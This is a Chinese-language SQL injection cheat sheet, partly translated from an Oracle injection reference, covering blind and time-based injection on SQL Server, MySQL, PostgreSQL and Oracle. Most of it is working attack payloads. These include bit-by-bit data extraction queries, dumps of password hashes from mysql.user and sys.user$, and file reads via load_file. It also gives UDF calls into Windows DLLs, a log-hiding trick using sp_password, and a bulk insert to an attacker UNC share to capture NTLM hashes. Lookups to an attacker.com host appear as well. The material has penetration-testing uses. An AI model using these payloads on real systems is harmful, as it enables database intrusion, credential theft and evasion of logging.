SQL注入速查表與Oracle注入速查表總結
一 、SQL注入速查表
0x00 目錄
- 盲注
- 關于盲注
- 實戰中的盲注實例
- 延時盲注
WAITFOR DELAY [time](S)- 實例
BENCHMARK()(M)- 實例
pg_sleep(seconds)(P)- 掩蓋痕跡
-sp_password log bypass(S)- 注入測試
- 一些其他的MySQL筆記
- MySQL中好用的函數
- SQL注入的高級使用
- 強制SQL Server來得到NTLM哈希
- Bulk insert UNC共享文件 (S)
0x01 盲注
關于盲注
一個經過完整而優秀開發的應用一般來說你是看不到錯誤提示的,所以你是沒辦法從Union攻擊和錯誤中提取出數據的
一般盲注,你不能在頁面中看到響應,但是你依然能同個HTTP狀態碼得知查詢的結果
完全盲注,你無論怎么輸入都完全看不到任何變化。你只能通過日志或者其它什么的來注入。雖然不怎么常見。
在一般盲注下你能夠使用If語句或者**WHERE查詢注入\***|(一般來說比較簡單)*,在完全盲注下你需要使用一些延時函數并分析響應時間。為此在SQL Server中你需要使用WAIT FOR DELAY '0:0:10',在MySQL中使用BENCHMARK(),在PostgreSQL中使用pg_sleep(10),以及在ORACLE中的一些PL/SQL小技巧。
實戰中的盲注實例
以下的輸出來自一個真實的私人盲注工具在測試一個SQL Server后端應用并且遍歷表名這些請求完成了第一個表的第一個字符。由于是自動化攻擊,SQL查詢比實際需求稍微復雜一點。其中我們使用了二分搜索來探測字符的ASCII碼。
TRUE和FALSE標志代表了查詢返回了true或false
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78-- FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103-- TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0) FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89-- TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0) FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83-- TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0) FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80-- FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
由于上面后兩個查詢都是false,我們能清楚的知道表名的第一個字符的ASCII碼是80,也就是"P"。這就是我們通過二分算法來進行盲注的方法。其他已知的方法是一位一位(bit by bit)地讀取數據。這些方法在不同條件下都很有效。
延時盲注
首先,只在完全沒有提示(really blind)的情況下使用,否則請使用1/0方式通過錯誤來判斷差異。其次,在使用20秒以上的延時時要小心,因為應用與數據庫的連接API可能會判定為超時(timeout)。
WAITFOR DELAY time
這就跟sleep差不多,等待特定的時間。通過CPU來讓數據庫進行等待。
WAITFOR DELAY '0:0:10'--
你也可以這樣用
WAITFOR DELAY '0:0:0.51'
實例
- 俺是sa嗎?
if (select user) = 'sa' waitfor delay '0:0:10' - ProductID =
1;waitfor delay '0:0:10'-- - ProductID =
1);waitfor delay '0:0:10'-- - ProductID =
1';waitfor delay '0:0:10'-- - ProductID =
1');waitfor delay '0:0:10'-- - ProductID =
1));waitfor delay '0:0:10'-- - ProductID =
1'));waitfor delay '0:0:10'--
BENCHMARK()(M)
一般來說都不太喜歡用這個來做MySQL延時。小心點用因為這會極快地消耗服務器資源。
BENCHMARK(howmanytimes, do this)
實例
- 俺是root嗎?爽!
IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1)) - 判斷表是否存在
IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))
pg_sleep(seconds)(P)
睡眠指定秒數。
SELECT pg_sleep(10);睡個十秒
掩蓋痕跡
-sp_password log bypass(S)
出于安全原因,SQL Server不會把含有這一選項的查詢日志記錄進日志中(!)。所以如果你在查詢中添加了這一選項,你的查詢就不會出現在數據庫日志中,當然,服務器日志還是會有的,所以如果可以的話你可以嘗試使用POST方法。
0x02 注入測試
這些測試既簡單又清晰,適用于盲注和悄悄地搞。
product.asp?id=4 (SMO)product.asp?id=5-1product.asp?id=4 OR 1=1product.asp?name=Bookproduct.asp?name=Bo’%2b’okproduct.asp?name=Bo’ || ’ok (OM)product.asp?name=Book’ OR ‘x’=’x
0x03 一些其他的MySQL筆記
- 子查詢只能在MySQL4.1+使用
- 用戶
SELECT User,Password FROM mysql.user;SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = ‘root’;SELECT ... INTO DUMPFILE- 把查詢寫入一個新文件中(不能修改已有文件)
- UDF功能
create function LockWorkStation returns integer soname 'user32';select LockWorkStation();create function ExitProcess returns integer soname 'kernel32';select exitprocess();SELECT USER();SELECT password,USER() FROM mysql.user;- admin密碼哈希的第一位
SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;- 文件讀取
query.php?user=1+union+select+load_file(0x63...),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1- MySQL讀取文件內容
- 默認這個功能是沒開啟的!
create table foo( line blob ); load data infile 'c:/boot.ini' into table foo; select * from foo;
- MySQL里的各種延時
select benchmark( 500000, sha1( 'test' ) ); query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1select if( user() like 'root@%', benchmark(100000,sha1('test')), 'false' );- 遍歷數據,暴力猜解
select if( (ascii(substring(user(),1,1)) >> 7) & 1,benchmark(100000,sha1('test')), 'false' );
MySQL中好用的函數
MD5()- MD5哈希
SHA1()- SHA1哈希
PASSWORD()ENCODE()COMPRESS()- 壓縮數據,在盲注時讀取大量數據很好用
ROW_COUNT()SCHEMA()VERSION()- 跟
@@version是一樣的
SQL注入的高級使用
一般來說你在某個地方進行SQL注入并期望它沒有過濾非法操作,而這則是一般人注意不到的層面(hidden layer problem)
Name:' + (SELECT TOP 1 password FROM users ) + 'Email : [email protected][email protected]驟,之后它就會把第一個用戶的密碼寫進你的name里面。
強制SQL Server來得到NTLM哈希
這個攻擊能夠幫助你得到目標SQL服務器的Windows密碼,不過你的連接很可能會被防火墻攔截。這能作為一個很有用的入侵測試。我們強制SQL服務器連接我們的WindowsUNC共享并通過抓包軟件(Cain & Abel)捕捉NTLM session。
Bulk insert UNC共享文件 (S)
bulk insert foo from '\\YOURIPADDRESS\C$\x.txt'
二、Oracle注入速查表
本文由Yinzo翻譯,轉載請保留署名。原文地址:http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet
注:下面的一部分查詢只能由admin執行,我會在查詢的末尾以"-priv"標注。
探測版本:
SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’; SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’; SELECT version FROM v$instance;
注釋:
SELECT 1 FROM dual — comment
注: Oracle的SELECT語句必須包含FROM從句,所以當我們并不是真的準備查詢一個表的時候,我們必須使用一個假的表名‘dual’
當前用戶:
SELECT user FROM dual
列出所有用戶:
SELECT username FROM all_users ORDER BY username; SELECT name FROM sys.user$; — priv
列出密碼哈希:
SELECT name, password, astatus FROM sys.user$ — priv, <= 10g. astatus能夠在acct被鎖定的狀態下給你反饋 SELECT name,spare4 FROM sys.user$ — priv, 11g
密碼破解:
checkpwd能夠把Oracle8,9,10的基于DES的哈希破解掉
列出權限:
SELECT * FROM session_privs; —當前用戶的權限 SELECT * FROM dba_sys_privs WHERE grantee = ‘DBSNMP’; — priv, 列出指定用戶的權限 SELECT grantee FROM dba_sys_privs WHERE privilege = ‘SELECT ANY DICTIONARY’; — priv, 找到擁有某個權限的用戶 SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
列出DBA賬戶:
SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’; — priv, 列出DBA和對應權限
當前數據庫:
SELECT global_name FROM global_name; SELECT name FROM v$database; SELECT instance_name FROM v$instance; SELECT SYS.DATABASE_NAME FROM DUAL;
列出數據庫:
SELECT DISTINCT owner FROM all_tables; — 列出數據庫 (一個用戶一個)
– 通過查詢TNS監聽程序能夠查詢到其他數據庫.詳情看tnscmd。
列出字段名:
SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’; SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’;
列出表名:
SELECT table_name FROM all_tables; SELECT owner, table_name FROM all_tables;
通過字段名找到對應表:
SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE ‘%PASS%’;
— 注: 表名都是大寫
查詢第N行:
SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; — 查詢第9行(從1開始數)
查詢第N個字符:
SELECT substr(‘abcd’, 3, 1) FROM dual; — 得到第三個字符‘c’
按位與(Bitwise AND):
SELECT bitand(6,2) FROM dual; — 返回2 SELECT bitand(6,1) FROM dual; — 返回0
ASCII值轉字符:
SELECT chr(65) FROM dual; — 返回A
字符轉ASCII碼:
SELECT ascii(‘A’) FROM dual; — 返回65
類型轉換:
SELECT CAST(1 AS char) FROM dual; SELECT CAST(’1′ AS int) FROM dual;
拼接字符:
SELECT ‘A’ || ‘B’ FROM dual; — 返回AB
IF語句:
BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;
— 跟SELECT語句在一起時不太管用
Case語句:
SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; — 返回1 SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; — 返回2
繞過引號:
SELECT chr(65) || chr(66) FROM dual; — 返回AB
延時:
BEGIN DBMS_LOCK.SLEEP(5); END; — priv, 在SELECT中用不了 SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — 如果反查很慢 SELECT UTL_INADDR.get_host_address(‘blah.attacker.com’) FROM dual; — 如果正查很慢 SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual; — 如果發送TCP包被攔截或者很慢
— 更多關于延時的內容請看Heavy Queries
發送DNS請求:
SELECT UTL_INADDR.get_host_address(‘google.com’) FROM dual; SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual;
命令執行:
如果目標機裝了JAVA就能執行命令,看這里
有時候ExtProc也可以,不過我一般都成功不了,看這里
本地文件讀取:
UTL_FILE有時候能用。如果下面的語句沒有返回null就行。
SELECT value FROM v$parameter2 WHERE name = ‘utl_file_dir’;
JAVA能用來讀取和寫入文件,除了Oracle Express
主機名稱、IP地址:
SELECT UTL_INADDR.get_host_name FROM dual; SELECT host_name FROM v$instance; SELECT UTL_INADDR.get_host_address FROM dual; — 查IP SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — 查主機名稱
定位DB文件:
SELECT name FROM V$DATAFILE;
默認系統和數據庫:
SYSTEM SYSAUX
額外小貼士:
一個字符串列出所有表名:
select rtrim(xmlagg(xmlelement(e, table_name || ‘,’)).extract(‘//text()’).extract(‘//text()’) ,’,') from all_tables
– 當你union聯查注入的時候只有一行能用與返回數據時使用
盲注排序:
order by case when ((select 1 from user_tables where substr(lower(table_name), 1, 1) = ‘a’ and rownum = 1)=1) then column_name1 else column_name2 end
— 你必須知道兩個擁有相同數據類型的字段名才能用